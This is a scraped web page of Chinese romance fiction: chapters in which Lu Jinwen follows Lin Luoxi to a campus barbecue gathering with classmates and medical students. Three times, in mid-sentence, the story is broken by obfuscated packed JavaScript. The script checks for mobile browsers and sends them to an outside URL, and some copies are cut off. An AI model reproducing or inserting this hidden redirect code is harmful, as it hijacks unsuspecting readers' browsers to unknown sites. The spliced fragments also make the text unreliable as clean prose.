邹喻打电话的时候,席砚卿正在看一份收购合同,并没有刻意去听她通话的内容。直到看完合同,他才后知后觉地意识到,刚才好像听到了某个熟悉的名字。 “等等,”席砚卿确认道,“你刚才说除了谁?” 纵然不知道席砚卿为什么突然对这个感兴趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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趁着这会儿没外人,邹喻点拨道:“看上了?” 这会儿,席砚卿目光早已从那封简历上移开,看着陆谨闻口不择言发过来的那条【席砚卿,你不是人】,非但没有觉得生气,反倒想象着某人着急的样子,心里暗爽。 他低笑一声,漫不经心地回了句:“我哪敢儿?” “这有什么不敢的!”邹喻还挺激动,“她真没男朋友,我跟你保证!我说你也老大不小的了,该上就上!” 席砚卿一边想着怎么“报复”陆谨闻对他的言语攻击,一边笑着说:“还真不敢。” “嗯?” “怕某人把我肢解。” 邹喻:“......” 我特么吓死。 - 现在...... 席砚卿觉得陆谨闻斜过来的眼刀就能把他肢解。 但他丝毫不惧,甚至还能火上再浇一把油,振振有词道:“欸,听说她男朋友和她是青梅竹马,英俊多金,而且还有家族企业,人家拒了offer,就是准备直接过去当老板娘。” 陆谨闻:“?” 要不是在医院见过林洛希,他差点就信了。 “席砚卿。”他话里抑不住笑。 “嗯?” “就你这智商,怎么在商场上混的。” “?” 说多错多,席某人还不知道,自己的谎言早已不攻自破。 看了眼时间,席砚卿想起等会儿还有个电话会议,他没工夫在这儿跟他耗,于是拿起包就往外走,临了还不忘戏谑一句: “那是,谁有陆博士智商高啊。” 其实,他本来就是想着跟陆谨闻开个玩笑,看他吃个瘪,就把真相告诉他了。 不过,看目前这形式,席砚卿觉得......还是先让他难受一阵吧。 虽然现在的陆谨闻心里爽得很,甚至还不计前嫌地亲自起身送客。 出了家门,席砚卿趁着等电梯的间隙,转身问:“你打算怎么办?” “什么怎么办?” “人家有男朋友了,你打算怎么办?” 陆谨闻冷笑一声。 合着还搁这儿自导自演呢。 成,你这么想演,那我就陪你演一会儿。 “还能怎么办?”陆谨闻倚着门框,桃花眼挑起,吊儿郎当道—— “只能做三了。” 14. 【14】 席砚卿觉得这个世界疯了,马不停蹄地逃离了这个是非之地。 终于送走了这位不速之客,陆谨闻关上门,准备继续看完那部电影。 结果,从玄关往客厅走的时候,手机响了下,他抬眼一扫,是程厉。由于手机正在充电,他懒得拔,索性直接按下了免提键,按下后便径自往沙发走。 “说。”相当的惜字如金。 程厉此刻正坐在烧烤店里,周遭都是热闹的气氛,“老陆,出来吃烧烤,地址我发......” “不去,挂了。”一以贯之的惜字如金。 “......”程厉无语,指着通话界面朝满桌的师弟师妹控诉,“你们看到了吧,这就是你们心心念念的陆师哥的真实面目,他平时就是这么对我的。” 本意是奚落,谁曾想人群中一个女生拍了下掌,兴奋道:“天呐!我就吃这种人设!” 还有人附和:“对对对!想象着那张脸,一脸冷漠地跟你说‘挂了’,好帅啊!” 程厉:“?” 他也不比他们大几岁,难道是真的有代沟了? 还是说,这年头流行抖M? “你们得亏不是神外的,”程厉随手把手机往桌上一扔,拿起一串掌中宝,“否则我会以为你们学医是为了给自己治病。” “什么意思啊?” “程师哥说你们脑子有病。” “......” 程厉一直没挂电话,于是这一来一往的对话,夹杂着烧烤店特有的嘈杂声,还有背景音里听起来像是德云社的相声,悉数传入了陆谨闻的耳朵。 陆谨闻:“......” 他就想安安静静看个电影,无奈总是被打断。 手机在距离沙发几步之遥的中岛台上充电,没办法,他只得又把电影暂停,起身去挂电话。 刚要从沙发上站起,不知道发生了什么,手机里原本嘈杂的声音瞬间安静了下来。 落针可闻的那种安静。 陆谨闻以为是那边挂了,正准备坐下。 结果,屁股还没挨上沙发,手机那端又传来一阵哄堂大笑。 排山倒海的那种大笑。 陆谨闻:“......” 三番两次被打扰,真的是够了! 此时不挂,更待何时! 于是,他利落地从沙发上站起,三步并作两步地往中岛台走。 谁曾想,就这几步路的功夫,手机那端又开始了新一轮的喧闹。 “乔琳!乔琳!快看!快看!林洛希!”烧烤店里,庞征激动地拍着乔琳的胳膊,一下又一下。 乔琳胳膊被拍得又疼又红,直接上手扼住了庞征的咽喉:“庞征!你是不是找死!” “林洛希?”听到这个名字,程厉的记忆被瞬间唤醒,一下子来了兴致,“就你们说的那个大美女?在哪儿呢,让我看看。” 庞征虽然处在乔琳的魔爪中,连说个囫囵话都异常艰难,但他还是非常坚强地,一个字一个字地往外蹦着:“就、站、在、外、国、帅、哥、旁、边、的、那、个。” 程厉一个抬眼,就看到刚才的“爆笑导火.索”,也就是那个外国帅哥身边,站着一个穿着水蓝色连衣裙的女生。 “卧槽!绝了!”程厉没忍住一个惊呼,“她有男朋友没,没有的话我就上了啊!” 说完,也不等人回答,拿起手机就准备上去要微信。也是在这个时候,他才发现手机竟然一直在通话中。 “我去!”程厉把手机放到耳边,“陆谨闻你怎么还没挂电话?” 手机那端声色凉凉:“地址。” “什么地址?” “烧烤店地址。” “嘿!”搭讪受阻,这次换程厉不耐烦了,“你不是说不来吗?” “少废话,快说。” “不说,挂了。”程厉一报还一报。 陆谨闻:“......” - 林洛希过来吃烧烤纯粹是个意外事件。 刚才,不想耽误陆谨闻太多时间,所以在楼下跟他聊了两句后,林洛希便上了楼。一打开寝室门,她就看到迟臻臻已经把那个折叠床打开,正弯着腰往上面铺被褥。 “你怎么这么快就回来了,”迟臻臻听到动静往外看了眼,很快又收回目光,“你等会儿啊,我马上给你铺好。” 林洛希轻轻关上门,走到床边,伸手拉住另一角,想要帮她。 “你不要在这儿添乱了,”迟臻臻按着她的肩让她坐在自己的座位上,“喏,你就坐这儿吃点水果,我很快就好。” 说着,又转过身继续自己的铺床大业。 由于不太擅长做这种事情,她动作极为不熟练,这抻抻,那掸掸,整个一旋转的陀螺仪,却不得要领,做了很多无用功。 可林洛希就是看着这套不甚熟稔的动作,忽然一低头,鼻子泛酸。 “臻臻。”她轻轻叫了一声。 “嗯?” “谢......”或许是觉得说出来太过生分,她终究还是把这一份谢意藏在心底,改口道,“我先去洗澡了。” “好,”迟臻臻应了声,又问,“等等,你这手,能自己洗吗?” “没事,我就冲一下,右手又没事。” “那我替你把头发扎起来。” 说着,迟臻臻拿一个鱼嘴夹替林洛希把头发扎了起来,然后又拿出一个保鲜袋,套在了她左手,还用了一个小皮筋把开口处扎紧。 “这样就好啦。”她笑眼盈盈道。 林洛希看着手腕上的结,心思突然就软得不成形状。 她有些落荒而逃地跑到卫生间,淋浴一开,热气瞬间腾起,熏的人眼酸。 下一秒,控制不住地,一行泪滑过眼角。 她在模糊的视线里,想起外面那个忙碌的身影。 继而,想起今天在医院看到那把刀时的心有余悸,想起......她在心有余悸里看到的他。 像定海神针一样出现在她的视线。 然后,将她一路护佑。 - 错综思绪在氤氲的水汽里,纷飞了一路。 洗完澡,林洛希换上睡衣,刚走出浴室就看到迟臻臻正伸着胳膊往身上套T恤。 不知是那T恤领口太窄,还是没有弹性,总之就是不太好穿,迟臻臻头埋在衣服里,好一会儿都没穿进去。 林洛希正准备上前帮忙,结果“噌”的一声,穿进去了。 “呼......”迟臻臻长舒一口气,忍不住腹诽,“这都什么反人类的设计!” “你要出去?”林洛希走上前问。 “你洗好啦,”迟臻臻又从衣柜里拿出一件运动短裤穿上,“我正要跟你说呢,林大公子请吃宵夜,让咱俩一起过去。” “他不是跟导师去外地开研讨会了吗?回来了?” “嗯,下午回来的,他和李边请已经到了,在学校东门新开的一家烧烤店,”迟臻臻补充道,“对了,邓邓刚在群里说她也已经在火车上了,等会儿下了地铁也直接过去。” 这一下,全班五个人都齐了,这宵夜就成了班级聚餐。 林洛希不舍得推拒,笑着应下来:“好,那你等我换个衣服。” “嗯呐!”迟臻臻眼睛都亮起来。 打开衣柜,林洛希低头看了眼自己行动不便的左手,实在是懒得折腾了。还好,她的睡衣是一件水蓝色的吊带裙,丝绸面料,质感上乘,当成外穿的裙子也不会有任何违和感。 于是,她把吊带褪下,在里面加了件内衣,然后又从衣架上拿出一件淡蓝色的雪纺衬衫,套在了外面,这衬衫袖子长,正好可以把手遮住。 寝室窗没关,几缕微风拂过,吹得她衣角、裙摆都荡漾。 她在这浮动的温柔里,手指一扬,拆去发尾的夹子,将一袭长发拨至身后,如林脉间的山泉流过,美得毫不费力,栩栩如生。 “希希。”迟臻臻看着她这一通操作,实在是觉得太过心旷神怡。 “嗯?” “我要是个男的,说什么也得把你娶回家。” “......”林洛希笑,“那还是当个女的好。” “嗯?” “不用娶,我就能跟你回家,还能跟你同床共枕,这多合算。” 迟臻臻还真的在心里权衡了一下利弊,然后很认真地点点头:“也是。” 林洛希被她这个可爱模样逗笑,挽上她的胳膊:“走啦。” - 她们去的这家烧烤店位于京大东门,临近地铁站,名字叫“沙漏”。 装修风格用四个字就足以概括:返璞归真。 牌匾、桌椅、门窗等都采用木质材料,屋顶吊灯也是煤油灯的形状,铁灰色的外壁笼着暗黄色的灯芯,将这方天地映衬出古朴气质,置身其中,仿佛有一种在时间里回溯的真空感。 就像是钢铁森林里的“漏网之鱼”。 “林大公子”林诠和李边请正好坐在靠门的位置,因此林洛希和迟臻臻一推开门,他们划拳的声音就径直钻进了两个人的耳朵。 “来,兄弟,走一个!” “走一个!” “敬你中文更上一层楼!” “敬你论文再上一次刊!” “好!敬学术!” “来!敬文化!” 两个人你来我往,一句一句喊得贼带劲儿,再加上这突然拔高的主旨,乍一听,颇有点古时文人醉酒后登高抒怀的潇洒气质。 结果,走近一看,两个人正在对瓶吹—— 北冰洋。 林洛希&迟臻臻:“......” 正巧这时候,林诠也看到了两人,笑着喊林洛希:“来了啊,林妹妹。” 目光一转,又喊:“来了啊,真知棒。” 听到这个外号,迟臻臻脸上笑嘻嘻,心里MMP。 她拉起凳子坐下,看着林诠面前摆着的北冰洋,冷嘲热讽道:“挺会装逼啊,脑血栓。” 林洛希对两人互叫外号这一现象早已见怪不怪,一脸淡定地在迟臻臻旁边坐下。 李边请看着林洛希,又开始了他那八百年都没变过的赞美之词:“洛希,你今天可真是沉鱼落雁,闭月羞花。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574898|171517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢谢,”林洛希忍着笑意,让自己的语气听起来尽量真诚,“欸,邓邓是不是快到了?” 趁着林诠和迟臻臻还在大眼瞪小眼,李边请不放过任何一个表现自己的机会,用流畅的中文说着:“刚才点餐的时候,她说已经下了火车,从西站到这里坐地铁需要半个小时,”抬眼看了眼时间,“大约二十分钟后,她就会到。” 林洛希了然地点了点头。 因为父亲生病,邓心请了半个月的假回家照顾,林洛希估摸着她回来拿着行李应该不太方便,就盘算着时间,想着等会儿去地铁站口接她一趟。 林诠提前点好的餐这会儿已经慢慢上齐了。 因为吃的是烧烤,所以也没必要非得等人齐了再一起吃,谁后来到时候再点就行,还能吃上新鲜热乎的。 林洛希从来都没有吃宵夜的习惯,再加上她本身对烧烤也不太感冒,就没动筷。 林诠知道她的习惯,提前给她点了一杯柠檬水。 彼此都熟的不行,剩下的三个人也没觉得不自在,迅速地开始大快朵颐起来。 烤串一撸,汽水一碰,人间烟火气,就这么泛了上来。 店主应该是德云社的死忠粉,墙壁上挂着一个大电视,循环播放着德云社的相声,时不时地引起一众人狂笑,整个烧烤店的氛围其乐融融。 李边请身为一名对中华文化充满兴趣的留学生,对融入这份“其乐融融”充满了野心。 他不放过任何一个学习的机会,竖起耳朵很认真地听着电视机里传来的声音,并妄图理解其中的笑点,好跟上大家爆笑的频率。 但事实证明,这实在是太难了。 读书时的专业名词还好学,但相声里太多的市井俚语,非土生土长的中国人,很难在短时间内领悟到其中的笑点和梗。 李边请看着屏幕,常常觉得大部分字都认识,但就是不知道大家在笑什么。 林洛希看到他无助又茫然的表情,时不时地给他解释几句。 时间一晃而过。 与此同时,战斗力惊人的三个人已经完成对美食的第一轮掠夺,原本丰富的餐盘在此刻只剩下了一堆签子。 或许是跟不上笑点让李边请心生挫败,这次他主动请缨,非要让大家报菜单,他去拿串。 迟臻臻很给他这个面子,如数家珍道:“我要掌中宝、鸡脆骨、鹌鹑蛋、香菜牛肉......再给我来两串羊肉串。” 林诠看着李边请掰着指头努力记菜单的样子实在是不忍心,但又怕不点会挫伤他的自尊心,于是就纡尊降贵地附和了句:“我跟真知棒一样。” 话音刚落,果不其然,迟臻臻就来了句:“学人精!” 林诠:到底是免不了一句嘲讽。 但迟臻臻也是个通情达理的人,瞪完林诠又笑着看向李边请,贴心地问:“你可以吗?要不我还是跟你一起去吧?” 李边请信誓旦旦:“我可以!” 迟臻臻后又一想,拿错就吃错的呗,反正今晚也不是她请客,于是就随他去了。 林洛希估摸着时间差不多了,准备去地铁站接邓心,就跟李边请一起从座位上站了起来。 说时迟那时快,就在两个人起身的瞬间,电视机里传来了一句耳熟能详的梗,或者说,是一个李边请终于能听懂的梗。 那种感觉就像是你在一张难度极高的考卷上终于找到了一道会做的题,迫不及待地只想表现自己。 就这样,李边请看着电视屏幕,一顿捧腹大笑: “哈哈哈哈哈哈两万三千三百三十三!” 瞬间,整个烧烤店死一般的沉寂。 陆谨闻从手机里听到的,那一瞬落针可闻的安静,就出自此刻。 然后,下一秒,满屋子人像是集体觉醒般,突然间福至心灵,开始哄堂大笑。 与此同时,所有人的目光也齐刷刷地朝这边望了过来。 毫无疑问,这些目光汇聚的终点,就是李边请以及—— 与他并肩而站的林洛希。 林洛希:“......” 我这两天真是捅了社死的老窝了。 “我特么?”迟臻臻也着实被这场面尬到了,左手遮脸,轻声道,“我前几天在网上看了个段子,整外国人的,没想到整到李边请了,我以为凭他的中文造诣,肯定不会上当的。” 林诠也右手遮脸:“什么段子?” “就一个外国人问在哈哈哈后面加23333是啥意思,然后有人就说是两万三千三百三十三,李边请跟我求证,我说是真的,还让他入乡随俗,这样会显得他中文非常地道。” “......”林诠无语,“你一天天的,能干点儿人事?” “我怎么不干人事了!”迟臻臻签子一撂,正准备列举林诠种种不干人事的罪状,目光一瞥,看到窗外的倩影,“欸,希希怎么出去了?” 被社死弄得都有点儿PTSD的林洛希这次也不讲“义气”了,独留李边请一人在风中凌乱,利落地转过身,推门走了出去。 青石板路,东西相向。 一来一去两道身影,恰好错身出一汪月光。 15. 【15】 仆仆赶来的陆谨闻对这样的错身浑然不觉,推开大门迈进了屋内。 率先映入眼帘的,便是一道不怎么讨喜的风景。 ——程厉那张熟悉得不能再熟悉的脸。 他正伸手,跟一长相混血的年轻男生打着招呼:“你好,医学院程厉。” 那男生回握过去:“你好,经济学院李边请。” “里边请?” “嗯,我的中文名字,李边请。” 程厉:“......” 联想到刚才的那个尴尬瞬间,程厉觉得这外国小孩估计被他的同班同学坑得不轻。 无语了瞬,他直入主题地问:“刚那个跑出去的......”边说着,程厉边往门外瞥了眼。 看到门口站着的那个清瘦挺拔的身影,他还以为自己眼花了,扬声道:“陆谨闻?” 此时,被叫到的人正环视全局,寻找着目标人物,结果,连她的影儿都没有见到。 倒是迟臻臻听到这个名字转过了身,看到一张英俊侧脸,立刻从座位上站了起来,惊喜道:“陆师哥?你怎么在这儿?” 闻言,陆谨闻收回逡巡的目光,低头一看,原来是林洛希的室友,迟臻臻。 想到自己刚才的承诺,他顺势道:“来请客。” 听到请客两个字,程厉瞬间就笑开了,走到陆谨闻面前,颇感欣慰地拍了拍他的肩:“这就是真兄弟!嘴硬心软!我就说嘛,你怎么忍心让我一个人买这么多人的单,走吧,一桌的师弟师妹,心灵和身体,都嗷嗷待哺。” “自己攒的局自己买,”陆谨闻极为嫌弃地掸掉他的手,“不要牵扯无关人员。” 说完,也不顾程厉疑惑的目光,微微倾身看着迟臻臻,温柔地问:“洛希呢?” “她刚刚出去了,”迟臻臻回想了下时间线,道出猜测,“哦,可能是去接另一个室友了。” “那她等会儿还过来吗?” “过来的。” 得到肯定答复,陆谨闻若有所思地点了点头,带着极强地目的性,继续问:“你们今天这是......?” 迟臻臻:“我们就临时起意,班上同学一起吃个饭。” 听到这儿,陆狐狸又开始老谋深算了。 身为一个外人,他自然不好意思参加到别人的班级聚餐中,但要是把这段聚餐,当做两个学院之间的交流局就不一样了。 那他就可以正大光明地参与其中。 “师哥说好要请你吃饭,择日不如撞日,”说着,他看了眼那个外国帅哥和坐在迟臻臻对面的那个男生,将自己的姿态放得足够低,“你们要是不介意的话,这顿饭我请了。正好,我们医学院有些师弟师妹也在,不如坐在一起,吃个饭交流交流。” 对此提议,林诠和李边请表示欣然同意。其实,都不用拿有人请吃饭这个当筹码,就光是这个阵仗,就足以让他们心动。 不比专硕,学硕一般招收人数都较少。他们这个学硕班一共就五个人,别说狼人杀了,就连谁是卧底这类游戏都玩不起来,每次聚餐都是聊天局。 这也是林诠和迟臻臻为什么一见面就忍不住想要和对方抬杠的原因,要不一顿饭吃得多没劲。 “沙漏”这家新开的烧烤店,宣传口号打得响,其中一个噱头就是各类游戏极为齐全,力图让每一个顾客都能做到撸串、游戏两不误。 于是,两个学院瞬间达成友好会晤,两桌拼成了一桌。 - 那边热热闹闹,这边也是风风火火。 在地铁口等了十来分钟,林洛希终于等来了邓心。她穿着一件黑色T恤,右手拉着行李箱,行李箱上放着一个大包袋,左肩还背着一个帆布包,一副风尘仆仆的样子。 林洛希挥起右手叫了声:“邓邓!” 邓心看着朝自己跑来的身影,眉眼弯起:“希希,你怎么在这儿?来接我?” “不接你我还接谁?”林洛希自然而然地接过她左肩的包,“这个我来替你拿。” 边说着,两个人一边往烧烤店走去。 此时八点已过,莹白月光高悬天上,慷慨照亮人间,行李箱的滑轮摩擦着地面,发出并不悦耳的声响。 林洛希挽着邓心的胳膊,关心地问:“叔叔身体好些了吗?” “好点儿了,不过,过段时间,我还是想让他来这儿检查检查。” “嗯,这样挺好,在大医院检查一下,归根到底还是放心。到时候让林诠开车,我们一起去接叔叔。” “林诠那车,只能坐下五个人吧。” “那你就别去了,反正叔叔看你,应该也看烦了。” “林洛希!” “别气别气,我就开个玩笑,”林洛希给她顺着毛,“等会儿想吃啥随便点,林大公子说了,他请客。” 邓心轻哼一声:“放心,便宜不了他的!” 两个小姐妹你一句我一句,不知不觉就走到了“沙漏”。 林洛希推开门,侧身先让邓心进去,然后自己才跟着走了进去。 进来后,目光往老位置一看—— 原来在这儿坐着的三个人呢? 还是说,在她出去的这十来分钟里,他们已经完成第二轮掠夺,又开始第三轮了? 这干饭量,林洛希真是服了。 心想以后要是有人想开烧烤店一定要开在离这三个人近的地方,根本不愁没营业额。 “他们应该又去拿串了,你先在这儿坐一下,”林洛希把肩上的包和手里的手机一同递给邓心,“看好包跟手机啊,我去拿串儿。” “欸,希希,我要......” 林洛希回头看她,一脸了然:“知道,重辣重麻,土豆至少来十串儿!” 邓心朝她打了个响指,一脸赞赏道:“懂我!” 这家店的菜品自选区很大,荤素分开,呈L型摆放得整齐有序。 林洛希走到选区前,先用目光扫了一圈,结果没看到预料之中的三个人。不过,想到邓心坐了一天的火车,她也顾不上那三个战斗力惊人的干饭人了,拿起一个餐盘,开始往里面放串。 彼此之间都知根知底,林洛希知道邓心的口味,很快就挑了满满一盘子,有荤有素,搭配得当。 就是......转了一圈,她也没看到土豆的身影。 没办法,她只好朝站在里侧的服务员问了句:“阿姨,请问土豆在哪儿啊?” 这阿姨工作还挺忙,要先把顾客的盘子接过来,问过辣度之后,还要再给他们发一个小牌子,作为等会儿上餐的凭证。 所以,听到林洛希的问题,她连头都没抬,脖子往右侧伸了伸,说:“在那边。” “好,谢谢。”然后,林洛希就顺着她指的方向,再次走了过去,结果......左找找右找找,还是没找到。 无奈,她只有再度折回。还好这会儿阿姨不那么忙了,目光终于得以抬起,看向林洛希:“土豆就放在那边啊,你再去找找,先把你手中的给我,我先给你排着队,节省时间。” “哦,好。”说着,林洛希把手中的餐盘递了出去。 “辣度。”阿姨问。 “重辣重麻。” “姑娘长这么水灵,看不出来还挺能吃辣,”阿姨笑着,拿出一个小牌子递给她,“给,拿好了。” 林洛希接过,再一次原路返回,踏上了寻土豆之旅。 还好,这次,她终于找到了土豆,一串又一串地堆叠在一起,多得都快要冒出头了。 林洛希一边纳闷她刚才怎么没看到,一边倾身去拿。 那盘土豆在她左侧,她本能地伸出左臂去够。结果,手指刚触上签子尾端,她正要数差不多十串拿出来的时候,就看到,那个盘子被一张横空出世的手拦截,瞬间腾空了起来。 林洛希:“?” 还有没有个先来后到了啊? 再爱吃土豆,也没必要连盘端吧? 这样想着,她目光略含愠气地,抬起了眸。 下一秒,与一个意料之外的目光,撞了个中心点。 她的意料之外,却是他的意料之中。 林洛希推门而入的那一刻,陆谨闻就看到了她,之后的目光,便悉数跟着她的行动轨迹走。看她精心挑拣,看她温柔问询,看她复又折返,看她寻得目标。 也看她,目标被拦截后,微愠着对上他的这双眼。 该怎么形容此刻的她呢? 漂亮得有点可爱,可爱得有点漂亮。 像是捡到了一个心爱的宝物,他满眼都是她,殊不知自己的眼睛在灯光的照拂下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“......我们的串?” “喏。”陆谨闻示意她往右前方看。 林洛希顺着他的目光望过去,就看到刚才离奇失踪的三个人,不,现在还加上了邓心,正坐在一张离入口处“十万八千里”的大桌上,朝着她招手,身边还围了一圈人。 林洛希:“?” “都是一个学校的,碰到了就拼个桌,”陆谨闻大概解释了下,“你先去坐,我马上就来。” “哦,好。”含含糊糊地应了声,林洛希带着满心的疑惑朝那张大桌走去。 迟臻臻看她过来,大声招呼道:“希希宝贝,快来,坐这里!” 林洛希顺着她的手势,走到她左边的位置坐下。 她正准备开口问一下这到底是个什么情况,结果,突然间,左手边的空位上就来了一个人。 来人的动作稍微有点大,坐下的时候无意间碰到了她的胳膊肘,这要是放在平常还没事,可放在今天,这动作牵连到手心,滋生出略微刺痛的感觉。 也是在这个瞬间,她有些顺理成章地,想起陆谨闻跟她说过的一句话: “你左手边坐的人不是我,我不放心。” 说不清是刚才“没听医嘱”的心虚使然,还是有别的情愫坐镇,林洛希此刻根本无心看来人是谁,而是下意识地转过身去,寻找着陆谨闻的身影。 完全出于本能的一个动作,不受任何理性掌控。 仿佛只有他在,她才能安心。 “找我呢?”看到她找寻的目光,陆谨闻站在她身后,轻声问。 林洛希仰望着他,很郑重地点点头:“嗯。” 陆谨闻笑。 然后,踢了程厉一脚,用眼神示意他:“你去坐那边。” 程厉不服:“凭什么!我先来的!” “不服是吧?”陆谨闻睨着他,“不服也没用,你这得让人家自己选。” 说完,他看着林洛希,望过来的眼眸映衬着头顶灯光,似揉碎了的漫天星河,不由自主地诱人沉溺: “要谁?” 她不受控地,坠入这漩涡:“要你。”